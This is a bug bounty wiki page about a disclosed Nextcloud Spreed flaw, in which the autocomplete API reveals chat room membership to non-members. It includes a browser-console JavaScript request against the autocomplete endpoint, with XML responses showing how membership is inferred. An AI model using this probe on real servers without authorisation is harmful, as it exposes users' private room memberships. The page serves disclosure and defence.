Chat room member disclosure via autocomplete API
The autocomplete API for Spreed rooms did not check whether the requesting user was a member of the room, so an outsider could query it to learn who is in a room. By comparing results before and after a member was removed, the attacker could confirm membership status.
Originally disclosed on HackerOne
- Triaged in 17 hours
- Fixed in 25 days
- Paid in 31 days
- Disclosed after 55 days
Summary by the program
Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-3m6r-479j-4chf
The report
Summary:
Even if you are not a member of a Spreed room, it is possible to find out who is in the room using the autocomplete API. I have not yet checked if this affects other autocomplete share types.
Steps to reproduce:
Requirements: Three users named "demo", "demo1" and "hacker".
- Create a new Spreed room as user "demo" (note the room ID)
- Add user "demo1" to the room
- Log in as user "hacker" and execute the following in the JavaScript console of your browser Change the
itemIdto the room ID you created earlier.
let req = new XMLHttpRequest();
req.open("GET", OC.generateUrl('/ocs/v2.php/core/autocomplete/get?search=demo&itemType=call&itemId=qqads88a&shareTypes[]=0&shareTypes[]=1&shareTypes[]=7&shareTypes[]=4'))
req.setRequestHeader('requesttoken',OC.requestToken)
req.send();
- In the Network tab you will now see the following response:
<?xml version="1.0"?>
<ocs>
<meta
<status>ok</status>
<statuscode>200</statuscode>
<message>OK</message
</meta>
<data/>
</ocs>
- Now as user "demo" remove user "demo1" from the chat room.
- Re-send the request as user "hacker", you will now see that
demo1is available as a suggestion and therefore not a member of the chat room:
<?xml version="1.0"?>
<ocs>
<meta>
<status>ok</status>
<statuscode>200</statuscode>.
<message>OK</message
</meta>
<data>
<element>
<id>demo1</id>
<label>demo1</label>
<icon>icon-user</icon>
<source>users</source>
<status/>
<subline></subline>
<shareWithDisplayNameUnique>demo1</shareWithDisplayNameUnique>
</element>
</data>
</ocs>
Impact
An attacker could use this vulnerability to gain information about the members of a Spreed chat room, even if they themselves are not members. This information could potentially be used for malicious purposes, such as targeted phishing attacks or social engineering attempts. The impact could depend on the sensitivity of the information being shared in the chat room.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could learn who is in a Spreed chat room without being a member, which could aid targeted phishing or social engineering.
What the attacker needed
Three user accounts; knowledge of the room ID
How it was found
- Create a new Spreed room as user 'demo' and note the room ID.
- Add user 'demo1' to the room.
- Log in as user 'hacker' and send an autocomplete request with the room ID.
- Observe that the response does not list 'demo1' as a suggestion, indicating membership.
- As user 'demo', remove 'demo1' from the room.
- Re-send the request as 'hacker' and see 'demo1' now appear as a suggestion, confirming non-membership.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A chat room has a list of members. The autocomplete feature, which suggests people to add, was answering questions about a room's members even when the person asking was not in that room. This let an outsider work out who belongs to a private room.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.